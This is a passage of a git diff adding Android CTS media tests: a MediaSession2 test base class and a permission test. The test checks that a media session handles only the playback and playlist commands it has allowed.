+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ assertEquals(testCommand, command);
+ assertTrue(TestUtils.equals(testArgs, args));
+ assertNull(receiver);
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller =
+ createController(mSession.getToken(), true, callback);
+ // TODO(jaewan): Test with multiple controllers
+ mSession.sendCustomCommand(testCommand, testArgs);
+
+ ControllerInfo controllerInfo = getTestControllerInfo();
+ assertNotNull(controllerInfo);
+ // TODO(jaewan): Test receivers as well.
+ mSession.sendCustomCommand(controllerInfo, testCommand, testArgs, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testNotifyError() throws InterruptedException {
+ final int errorCode = MediaSession2.ERROR_CODE_NOT_AVAILABLE_IN_REGION;
+ final Bundle extras = new Bundle();
+ extras.putString("args", "testNotifyError");
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onError(MediaController2 controller, int errorCodeOut, Bundle extrasOut) {
+ assertEquals(errorCode, errorCodeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ // TODO(jaewan): Test with multiple controllers
+ mSession.notifyError(errorCode, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ private ControllerInfo getTestControllerInfo() {
+ List<ControllerInfo> controllers = mSession.getConnectedControllers();
+ assertNotNull(controllers);
+ for (int i = 0; i < controllers.size(); i++) {
+ if (Process.myUid() == controllers.get(i).getUid()) {
+ return controllers.get(i);
+ }
+ }
+ fail("Failed to get test controller info");
+ return null;
+ }
+
+ public class MockOnConnectCallback extends SessionCallback {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controllerInfo) {
+ if (Process.myUid() != controllerInfo.getUid()) {
+ return null;
+ }
+ assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+ assertEquals(Process.myUid(), controllerInfo.getUid());
+ assertFalse(controllerInfo.isTrusted());
+ // Reject all
+ return null;
+ }
+ }
+
+ public class MockOnCommandCallback extends SessionCallback {
+ public final ArrayList<SessionCommand2> commands = new ArrayList<>();
+
+ @Override
+ public boolean onCommandRequest(MediaSession2 session, ControllerInfo controllerInfo,
+ SessionCommand2 command) {
+ assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+ assertEquals(Process.myUid(), controllerInfo.getUid());
+ assertFalse(controllerInfo.isTrusted());
+ commands.add(command);
+ if (command.getCommandCode() == SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE) {
+ return false;
+ }
+ return true;
+ }
+ }
+
+ private static void assertMediaItemListEquals(List<MediaItem2> a, List<MediaItem2> b) {
+ if (a == null || b == null) {
+ assertEquals(a, b);
+ }
+ assertEquals(a.size(), b.size());
+
+ for (int i = 0; i < a.size(); i++) {
+ MediaItem2 aItem = a.get(i);
+ MediaItem2 bItem = b.get(i);
+
+ if (aItem == null || bItem == null) {
+ assertEquals(aItem, bItem);
+ continue;
+ }
+
+ assertEquals(aItem.getMediaId(), bItem.getMediaId());
+ assertEquals(aItem.getFlags(), bItem.getFlags());
+ TestUtils.equals(aItem.getMetadata().toBundle(), bItem.getMetadata().toBundle());
+
+ // Note: Here it does not check whether DataSourceDesc are equal,
+ // since there DataSourceDec is not comparable.
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
new file mode 100644
index 0000000..047f2cd
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -0,0 +1,294 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.HandlerThread;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for session test.
+ */
+abstract class MediaSession2TestBase {
+ // Expected success
+ static final int WAIT_TIME_MS = 1000;
+
+ // Expected timeout
+ static final int TIMEOUT_MS = 500;
+
+ static TestUtils.SyncHandler sHandler;
+ static Executor sHandlerExecutor;
+
+ Context mContext;
+ private List<MediaController2> mControllers = new ArrayList<>();
+
+ interface TestControllerInterface {
+ ControllerCallback getCallback();
+ }
+
+ interface WaitForConnectionInterface {
+ void waitForConnect(boolean expect) throws InterruptedException;
+ void waitForDisconnect(boolean expect) throws InterruptedException;
+ }
+
+ @BeforeClass
+ public static void setUpThread() {
+ if (sHandler == null) {
+ HandlerThread handlerThread = new HandlerThread("MediaSession2TestBase");
+ handlerThread.start();
+ sHandler = new TestUtils.SyncHandler(handlerThread.getLooper());
+ sHandlerExecutor = (runnable) -> {
+ sHandler.post(runnable);
+ };
+ }
+ }
+
+ @AfterClass
+ public static void cleanUpThread() {
+ if (sHandler != null) {
+ sHandler.getLooper().quitSafely();
+ sHandler = null;
+ sHandlerExecutor = null;
+ }
+ }
+
+ @CallSuper
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @CallSuper
+ public void cleanUp() throws Exception {
+ for (int i = 0; i < mControllers.size(); i++) {
+ mControllers.get(i).close();
+ }
+ }
+
+ final MediaController2 createController(SessionToken2 token) throws InterruptedException {
+ return createController(token, true, null);
+ }
+
+ final MediaController2 createController(@NonNull SessionToken2 token,
+ boolean waitForConnect, @Nullable ControllerCallback callback)
+ throws InterruptedException {
+ TestControllerInterface instance = onCreateController(token, callback);
+ if (!(instance instanceof MediaController2)) {
+ throw new RuntimeException("Test has a bug. Expected MediaController2 but returned "
+ + instance);
+ }
+ MediaController2 controller = (MediaController2) instance;
+ mControllers.add(controller);
+ if (waitForConnect) {
+ waitForConnect(controller, true);
+ }
+ return controller;
+ }
+
+ private static WaitForConnectionInterface getWaitForConnectionInterface(
+ MediaController2 controller) {
+ if (!(controller instanceof TestControllerInterface)) {
+ throw new RuntimeException("Test has a bug. Expected controller implemented"
+ + " TestControllerInterface but got " + controller);
+ }
+ ControllerCallback callback = ((TestControllerInterface) controller).getCallback();
+ if (!(callback instanceof WaitForConnectionInterface)) {
+ throw new RuntimeException("Test has a bug. Expected controller with callback "
+ + " implemented WaitForConnectionInterface but got " + controller);
+ }
+ return (WaitForConnectionInterface) callback;
+ }
+
+ public static void waitForConnect(MediaController2 controller, boolean expected)
+ throws InterruptedException {
+ getWaitForConnectionInterface(controller).waitForConnect(expected);
+ }
+
+ public static void waitForDisconnect(MediaController2 controller, boolean expected)
+ throws InterruptedException {
+ getWaitForConnectionInterface(controller).waitForDisconnect(expected);
+ }
+
+ TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+ @Nullable ControllerCallback callback) {
+ if (callback == null) {
+ callback = new ControllerCallback() {};
+ }
+ return new TestMediaController(mContext, token, new TestControllerCallback(callback));
+ }
+
+ // TODO(jaewan): (Can be Post-P): Deprecate this
+ public static class TestControllerCallback extends MediaController2.ControllerCallback
+ implements WaitForConnectionInterface {
+ public final ControllerCallback mCallbackProxy;
+ public final CountDownLatch connectLatch = new CountDownLatch(1);
+ public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+ TestControllerCallback(@NonNull ControllerCallback callbackProxy) {
+ if (callbackProxy == null) {
+ throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+ }
+ mCallbackProxy = callbackProxy;
+ }
+
+ @CallSuper
+ @Override
+ public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+ connectLatch.countDown();
+ }
+
+ @CallSuper
+ @Override
+ public void onDisconnected(MediaController2 controller) {
+ disconnectLatch.countDown();
+ }
+
+ @Override
+ public void waitForConnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void waitForDisconnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+ }
+
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ MediaController2.PlaybackInfo info) {
+ mCallbackProxy.onPlaybackInfoChanged(controller, info);
+ }
+
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+ mCallbackProxy.onCustomLayoutChanged(controller, layout);
+ }
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+ }
+
+ @Override
+ public void onPlayerStateChanged(MediaController2 controller, int state) {
+ mCallbackProxy.onPlayerStateChanged(controller, state);
+ }
+
+ @Override
+ public void onSeekCompleted(MediaController2 controller, long position) {
+ mCallbackProxy.onSeekCompleted(controller, position);
+ }
+
+ @Override
+ public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+ mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+ }
+
+ @Override
+ public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+ int state) {
+ mCallbackProxy.onBufferingStateChanged(controller, item, state);
+ }
+
+ @Override
+ public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+ mCallbackProxy.onError(controller, errorCode, extras);
+ }
+
+ @Override
+ public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+ mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+ }
+
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> list, MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+ }
+
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+ }
+
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+ }
+ }
+
+ public class TestMediaController extends MediaController2 implements TestControllerInterface {
+ private final ControllerCallback mCallback;
+
+ public TestMediaController(@NonNull Context context, @NonNull SessionToken2 token,
+ @NonNull ControllerCallback callback) {
+ super(context, token, sHandlerExecutor, callback);
+ mCallback = callback;
+ }
+
+ @Override
+ public ControllerCallback getCallback() {
+ return mCallback;
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
new file mode 100644
index 0000000..91dc369
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -0,0 +1,545 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.media.MediaController2;
+import android.media.MediaItem2;
+import android.media.MediaSession2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests whether {@link MediaSession2} receives commands that hasn't allowed.
+ */
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2_PermissionTest extends MediaSession2TestBase {
+ private static final String SESSION_ID = "MediaSession2Test_permission";
+
+ private MockPlayer mPlayer;
+ private MediaSession2 mSession;
+ private MySessionCallback mCallback;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ if (mSession != null) {
+ mSession.close();
+ mSession = null;
+ }
+ mPlayer = null;
+ mCallback = null;
+ }
+
+ private MediaSession2 createSessionWithAllowedActions(final SessionCommandGroup2 commands) {
+ mPlayer = new MockPlayer(0);
+ mCallback = new MySessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() != controller.getUid()) {
+ return null;
+ }
+ return commands == null ? new SessionCommandGroup2() : commands;
+ }
+ };
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer).setId(SESSION_ID)
+ .setSessionCallback(sHandlerExecutor, mCallback).build();
+ return mSession;
+ }
+
+ private SessionCommandGroup2 createCommandGroupWith(int commandCode) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(commandCode));
+ return commands;
+ }
+
+ private SessionCommandGroup2 createCommandGroupWithout(int commandCode) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addAllPredefinedCommands();
+ commands.removeCommand(new SessionCommand2(commandCode));
+ return commands;
+ }
+
+ private void testOnCommandRequest(int commandCode, PermissionTestRunnable runnable)
+ throws InterruptedException {
+ createSessionWithAllowedActions(createCommandGroupWith(commandCode));
+ runnable.run(createController(mSession.getToken()));
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnCommandRequestCalled);
+ assertEquals(commandCode, mCallback.mCommand.getCommandCode());
+
+ createSessionWithAllowedActions(createCommandGroupWithout(commandCode));
+ runnable.run(createController(mSession.getToken()));
+
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnCommandRequestCalled);
+ }
+
+ @Test
+ public void testPlay() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_PLAY, (controller) -> {
+ controller.play();
+ });
+ }
+
+ @Test
+ public void testPause() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_PAUSE, (controller) -> {
+ controller.pause();
+ });
+ }
+
+ @Test
+ public void testStop() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_STOP, (controller) -> {
+ controller.stop();
+ });
+ }
+
+ @Test
+ public void testFastForward() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SESSION_FAST_FORWARD, (controller) -> {
+ controller.fastForward();
+ });
+ }
+
+ @Test
+ public void testRewind() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SESSION_REWIND, (controller) -> {
+ controller.rewind();
+ });
+ }
+
+ @Test
+ public void testSeekTo() throws InterruptedException {
+ final long position = 10;
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_SEEK_TO, (controller) -> {
+ controller.seekTo(position);
+ });
+ }
+
+ @Test
+ public void testSkipToNext() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM, (controller) -> {
+ controller.skipToNextItem();
+ });
+ }
+
+ @Test
+ public void testSkipToPrevious() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM, (controller) -> {
+ controller.skipToPreviousItem();
+ });
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM, (controller) -> {
+ controller.skipToPlaylistItem(testItem);
+ });
+ }
+
+ @Test
+ public void testSetPlaylist() throws InterruptedException {
+ List<MediaItem2> list = TestUtils.createPlaylist(2);
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST, (controller) -> {
+ controller.setPlaylist(list, null);
+ });
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST_METADATA, (controller) -> {
+ controller.updatePlaylistMetadata(null);
+ });
+ }
+
+ @Test
+ public void testAddPlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_ADD_ITEM, (controller) -> {
+ controller.addPlaylistItem(0, testItem);
+ });
+ }
+
+ @Test
+ public void testRemovePlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_REMOVE_ITEM, (controller) -> {
+ controller.removePlaylistItem(testItem);
+ });
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_REPLACE_ITEM, (controller) -> {
+ controller.replacePlaylistItem(0, testItem);
+ });
+ }
+
+ @Test
+ public void testSetVolume() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SET_VOLUME, (controller) -> {
+ controller.setVolumeTo(0, 0);
+ });
+ }
+
+ @Test
+ public void testPlayFromMediaId() throws InterruptedException {
+ final String mediaId = "testPlayFromMediaId";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+ createController(mSession.getToken()).playFromMediaId(mediaId, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromMediaIdCalled);
+ assertEquals(mediaId, mCallback.mMediaId);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+ createController(mSession.getToken()).playFromMediaId(mediaId, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromMediaIdCalled);
+ }
+
+ @Test
+ public void testPlayFromUri() throws InterruptedException {
+ final Uri uri = Uri.parse("play://from.uri");
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+ createController(mSession.getToken()).playFromUri(uri, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromUriCalled);
+ assertEquals(uri, mCallback.mUri);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+ createController(mSession.getToken()).playFromUri(uri, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromUriCalled);
+ }
+
+ @Test
+ public void testPlayFromSearch() throws InterruptedException {
+ final String query = "testPlayFromSearch";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+ createController(mSession.getToken()).playFromSearch(query, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+ createController(mSession.getToken()).playFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromSearchCalled);
+ }
+
+ @Test
+ public void testPrepareFromMediaId() throws InterruptedException {
+ final String mediaId = "testPrepareFromMediaId";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+ createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
+ assertEquals(mediaId, mCallback.mMediaId);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+ createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromMediaIdCalled);
+ }
+
+ @Test
+ public void testPrepareFromUri() throws InterruptedException {
+ final Uri uri = Uri.parse("prepare://from.uri");
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+ createController(mSession.getToken()).prepareFromUri(uri, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromUriCalled);
+ assertEquals(uri, mCallback.mUri);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+ createController(mSession.getToken()).prepareFromUri(uri, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromUriCalled);
+ }
+
+ @Test
+ public void testPrepareFromSearch() throws InterruptedException {
+ final String query = "testPrepareFromSearch";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ createController(mSession.getToken()).prepareFromSearch(query, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ createController(mSession.getToken()).prepareFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromSearchCalled);
+ }
+
+ @Test
+ public void testChangingPermissionWithSetAllowedCommands() throws InterruptedException {
+ final String query = "testChangingPermissionWithSetAllowedCommands";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+
+ ControllerCallbackForPermissionChange controllerCallback =
+ new ControllerCallbackForPermissionChange();
+ MediaController2 controller =
+ createController(mSession.getToken(), true, controllerCallback);
+
+ controller.prepareFromSearch(query, null);
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+ mCallback.reset();
+
+ // Change allowed commands.
+ mSession.setAllowedCommands(getTestControllerInfo(),
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ assertTrue(controllerCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ controller.prepareFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ private ControllerInfo getTestControllerInfo() {
+ List<ControllerInfo> controllers = mSession.getConnectedControllers();
+ assertNotNull(controllers);
+ for (int i = 0; i < controllers.size(); i++) {
+ if (Process.myUid() == controllers.get(i).getUid()) {
+ return controllers.get(i);
+ }
+ }
+ fail("Failed to get test controller info");
+ return null;
+ }
+
+ @FunctionalInterface
+ private interface PermissionTestRunnable {
+ void run(@NonNull MediaController2 controller);
+ }
+
+ public class MySessionCallback extends MediaSession2.SessionCallback {
+ public CountDownLatch mCountDownLatch;
+
+ public SessionCommand2 mCommand;
+ public String mMediaId;
+ public String mQuery;
+ public Uri mUri;
+ public Bundle mExtras;
+
+ public boolean mOnCommandRequestCalled;
+ public boolean mOnPlayFromMediaIdCalled;
+ public boolean mOnPlayFromSearchCalled;
+ public boolean mOnPlayFromUriCalled;
+ public boolean mOnPrepareFromMediaIdCalled;
+ public boolean mOnPrepareFromSearchCalled;
+ public boolean mOnPrepareFromUriCalled;
+
+
+ public MySessionCallback() {
+ mCountDownLatch = new CountDownLatch(1);
+ }
+
+ public void reset() {
+ mCountDownLatch = new CountDownLatch(1);
+
+ mCommand = null;
+ mMediaId = null;
+ mQuery = null;
+ mUri = null;
+ mExtras = null;
+
+ mOnCommandRequestCalled = false;
+ mOnPlayFromMediaIdCalled = false;
+ mOnPlayFromSearchCalled = false;
+ mOnPlayFromUriCalled = false;
+ mOnPrepareFromMediaIdCalled = false;
+ mOnPrepareFromSearchCalled = false;
+ mOnPrepareFromUriCalled = false;
+ }
+
+ @Override
+ public boolean onCommandRequest(MediaSession2 session, ControllerInfo controller,
+ SessionCommand2 command) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnCommandRequestCalled = true;
+ mCommand = command;
+ mCountDownLatch.countDown();
+ return super.onCommandRequest(session, controller, command);
+ }
+
+ @Override
